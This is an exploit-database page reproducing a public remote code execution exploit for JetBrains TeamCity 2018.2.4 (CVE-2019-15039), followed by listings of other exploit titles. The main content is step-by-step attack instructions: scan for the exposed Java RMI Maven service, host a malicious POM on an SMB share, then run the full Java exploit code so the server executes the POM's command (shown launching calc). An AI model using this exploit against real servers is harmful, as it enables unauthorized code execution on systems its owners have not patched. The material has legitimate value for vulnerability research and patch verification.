Menu

Search for hundreds of thousands of exploits

"JetBrains TeamCity 2018.2.4 - Remote Code Execution"

Author

Exploit author

hantwister

Platform

Exploit platform

java

Release date

Exploit published date

2020-01-08

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution
# Date: 2020-01-07
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.jetbrains.com/
# Software Link: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads
# Version: 2018.2.4 for Windows
# CVE: CVE-2019-15039

# You'll need a few .jars from a copy of TeamCity to compile and run this code
# To compile, file path should match ${package}/${class}.java, e.g.,
# com/whatdidibreak/teamcity_expl/Main.java

# Instructions for Windows (easier case):

# 1) Verify exploitability.
#    1a) Verify the remote host is running Windows, e.g. checking for common
#        running services and their versions.
#    1b) Discover Java RMI services on the remote host, e.g. doing a 65k port
#        scan using nmap and the rmi-dumpregistry script. On one port, there
#        should be a registry with an object named teamcity-mavenServer. This
#        object should point to a second open port that is also identified as
#        Java RMI.

# 2) Prepare the payload.
#    2a) There needs to be an SMB share that the TeamCity software can read from
#        and that you can write to. You might establish a share on your own
#        system and make it accessible to anonymous users. Alternatively, if the
#        TeamCity server is domain-joined, you might find a pre-existing share
#        elsewhere in the domain.
#    2b) Place a malicious POM in that share, e.g.

<project>
	<modelVersion>4.0.0</modelVersion>
	<groupId>com.mycompany.app</groupId>
	<artifactId>my-module</artifactId>
	<version>1</version>
	<build>
		<plugins>
			<plugin>  
				<groupId>org.codehaus.mojo</groupId> 
				<artifactId>exec-maven-plugin</artifactId> 
				<version>1.1.1</version> 
				<executions>
					<execution>
						<goals>
							<goal>exec</goal> 
						</goals>
					</execution>
				</executions>
				<configuration>
					<executable>calc</executable>
					<arguments>
						<argument>-testarg</argument>
					</arguments>
				</configuration>
			</plugin>
		</plugins>
	</build>
</project>

# 3) Run this exploit.
#    Argument #1: TeamCity host (IP or FQDN)
#    Argument #2: Port of RMI Registry (the first open port described above)
#    Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml)
#    Argument #4: POM goal (e.g., exec:exec)

# NOTE: It is possible to exploit this issue in other situations, e.g. if the
# TeamCity server is running on a *nix system that allows access to some local
# directory over NFS.

 */
package com.whatdidibreak.teamcity_expl;

import java.io.File;
import java.io.IOException;

import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMISocketFactory;

import java.util.ArrayList;
import java.util.List;

import jetbrains.buildServer.maven.remote.MavenServer;
import jetbrains.buildServer.maven.remote.RemoteEmbedder;
import org.jetbrains.maven.embedder.MavenEmbedderSettings;
import org.jetbrains.maven.embedder.MavenExecutionResult;

public class Main {

    public static void main(String[] args) throws Throwable {
        String host = args[0];
        int port = Integer.parseInt(args[1]);
        String pomPath = args[2];
        String goal = args[3];

        // The exported object may point to a different host than what we're
        // using to connect to the registry, which could break things, i.e.,
        // - localhost
        // - for a multi-homed target, an IP we can't connect to
        // - a FQDN or hostname we can't resolve
        // - etc.
        // For this reason, we'll set up a socket factory that forces all
        // connections to go to the host specified by the user, ignoring the
        // host pointed to by the exported object.
        OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host);
        RMISocketFactory.setSocketFactory(sf);

        // The rest of the code in this method should look fairly typical for
        // interacting with remote objects using RMI.
        Registry r = LocateRegistry.getRegistry(host, port, sf);

        MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer");

        MavenEmbedderSettings mes = new MavenEmbedderSettings();
        RemoteEmbedder re = ms.exportEmbedder(mes);

        File f = new File(pomPath);
        List ap = new ArrayList();
        List g = new ArrayList();
        g.add(goal);
        MavenExecutionResult mer = re.execute(f, ap, g);
    }

    private static class OverrideHostSocketFactory extends RMISocketFactory {

        private String targetHost;

        public OverrideHostSocketFactory(String targetHost) {
            this.targetHost = targetHost;
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            Socket toReturn = new Socket();
            toReturn.connect(new InetSocketAddress(targetHost, port));
            return toReturn;
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            throw new UnsupportedOperationException("Not supported yet.");
        }
    }
}
Release DateTitleTypePlatformAuthor
2020-04-03"AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH)"localwindowsHodorsec
2020-04-03"Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-04-02"DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)"localwindows"Paras Bhatia"
2020-04-01"DiskBoss 7.7.14 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-04-01"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)"localwindowsHodorsec
2020-03-31"Redis - Replication Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"SharePoint Workflows - XOML Injection (Metasploit)"remotewindowsMetasploit
2020-03-31"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-31"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
Release DateTitleTypePlatformAuthor
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-12"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure"webappsjava"RedTeam Pentesting GmbH"
2020-03-10"Sysaid 20.1.11 b26 - Remote Command Execution"webappsjava"Ahmed Sherif"
2020-02-24"ManageEngine EventLog Analyzer 10.0 - Information Disclosure"webappsjava"Scott Goodwin"
2020-02-17"LabVantage 8.3 - Information Disclosure"webappsjava"Joel Aviad Ossi"
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2 - Remote Code Execution"webappsjavamr_me
2020-02-05"Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation"webappsjavanxkennedy
2020-02-03"Jira 8.3.4 - Information Disclosure (Username Enumeration)"webappsjava"Mufeed VH"
2020-01-29"Liferay CE Portal 6.0.2 - Remote Command Execution"webappsjava"Berk Dusunur"
2020-01-21"ManageEngine Network Configuration Manager 12.2 - 'apiKey' SQL Injection"webappsjava"Ertebat Gostar Co"
2020-01-16"Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting"webappsjava"Ai Ho"
2020-01-09"Oracle Weblogic 10.3.6.0.0 - Remote Command Execution"webappsjavajames
2020-01-08"JetBrains TeamCity 2018.2.4 - Remote Code Execution"remotejavahantwister
2020-01-08"Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape"webappsjavahantwister
2020-01-08"Cisco DCNM JBoss 10.4 - Credential Leakage"remotejavahantwister
2019-12-17"Zendesk App SweetHawk Survey 1.6 - Persistent Cross-Site Scripting"webappsjavaMTK
2019-12-11"Apache Olingo OData 4.0 - XML External Entity Injection"webappsjava"Compass Security"
2019-12-09"Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting"webappsjavaomurugur
2019-11-08"Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting"webappsjavavesche
2019-11-01"Apache Solr 8.2.0 - Remote Code Execution"webappsjava@l3x_wong
2019-10-07"IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload"webappsjava"Jakub Palaczynski"
2019-09-11"AVCON6 systems management platform - OGNL Remote Command Execution"webappsjava"Nassim Asrir"
2019-09-03"Cisco Data Center Network Manager - Unauthenticated Remote Code Execution (Metasploit)"remotejavaMetasploit
2019-07-12"Sahi Pro 8.0.0 - Remote Command Execution"webappsjavaAkkuS
2019-07-12"Jenkins Dependency Graph View Plugin 0.13 - Persistent Cross-Site Scripting"webappsjava"Ishaq Mohammed"
2019-06-17"Spring Security OAuth - Open Redirector"webappsjavaRiemann
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SearchN.do' Cross-Site Scripting"webappsjavaVingroup
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'PurchaseRequest.do' Cross-Site Scripting"webappsjavaVingroup
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47891/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse